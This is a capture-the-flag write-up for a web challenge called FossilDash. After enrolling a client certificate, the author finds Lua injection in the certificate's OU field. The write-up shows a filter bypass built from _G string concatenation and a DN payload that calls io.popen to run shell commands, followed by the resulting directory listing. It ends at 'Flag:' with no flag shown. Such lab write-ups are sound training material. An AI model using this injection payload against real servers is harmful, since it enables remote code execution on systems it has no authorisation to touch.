The Dinosaur Research Network just launched FossilDash, a collaborative platform where researchers share fossil discoveries. Access requires a valid researcher certificate.
Can you find a way to dig up the flag?
Overview
The challenge exposes an HTTPS endpoint with a self-signed certificate.
We need to submit a CSR with some constraints in order to issue a client certificate:
To access the Dinosaur Research Network, you need a certificate signed by our CA. Generate a CSR with your institution details and paste it below. Enrollment requires a proof-of-work to prevent abuse.
Every time a certificate needs to be issued, a proof-of-work has to be submitted. I just let an LLM rewrite the very slow PoW script in rust and I could solve them within less than a second. Attempting a solve was still a pain, because the website also did some heavy rate-limiting.
I used mitmdump to easily access the challenge with a valid cert in my browser:
mitmdump --mode reverse:https://challs.qualifier.swiss-hacking-challenge.ch:30983/ --set client_certs=client_bundle.crt --ssl-insecure
Solution
When issuing a certificate, we need to follow some constraints:
Omust be set to one of the allowed values (OST,ZHW,ETH,EPFL,HSLU,UNIGE)CNcan only contain a limited amount of charactersOUseems unrestricted
After successfully issuing a cert, we can see information about our user on the dashboard. Additionally, we can post research notes, which show the OU field next to the username. At some point, I realized that using quotes in the OU field show up as
~err: unfinished string near '<eof>'~,
The dashboard page shows Platform: OpenResty / LuaJIT. So probably, we’re dealing with Lua injection here.
When trying to build a payload, I realized that some keywords are blocked for the DN:
{"error":"Organizational unit contains restricted term."}
Long story short, we can just use _G['function_' .. 'name'] to bypass it.
Using "/OU='.._G['io']['p'..'open']('ls -al'):read('*all')..'/O=ETH/CN=meow" as the DN, we get:
meow — total 16 drwxr-xr-x 1 root root 55 Apr 24 14:21
. drwxr-xr-x 1 root root 55 Apr 24 14:21
.. drwxr-xr-x 1 root root 4096 Mar 25 18:37
bin drwxr-xr-x 5 root root 340 Apr 24 14:21
dev -rwxr-xr-x 1 root root 112 Mar 27 15:04
entrypoint.sh drwxr-xr-x 1 root root 25 Apr 24 14:21
etc -r--r--r-- 1 root root 46 Apr 24 14:21
flag.txt drwxr-xr-x 2 root root 6 Jan 27 21:20
home drwxr-xr-x 1 root root 17 Jan 27 21:20
lib drwxr-xr-x 5 root root 44 Jan 27 21:20
media drwxr-xr-x 2 root root 6 Jan 27 21:20
mnt drwxr-xr-x 2 root root 6 Jan 27 21:20
opt dr-xr-xr-x 273 root root 0 Apr 24 14:21
proc drwx------ 2 root root 6 Jan 27 21:20
root drwxr-xr-x 1 root root 23 Mar 25 18:37
run drwxr-xr-x 2 root root 4096 Jan 27 21:20
sbin drwxr-xr-x 2 root root 6 Jan 27 21:20
srv dr-xr-xr-x 13 root root 0 Mar 1 19:38
sys drwxrwxrwt 1 root root 20 Apr 24 14:21
tmp drwxr-xr-x 1 root root 19 Mar 25 18:37
usr drwxr-xr-x 1 root root 19 Jan 27 21:20
var , 24.4.2026, 16:22:37
So, all that is left is to get the flag:
Flag: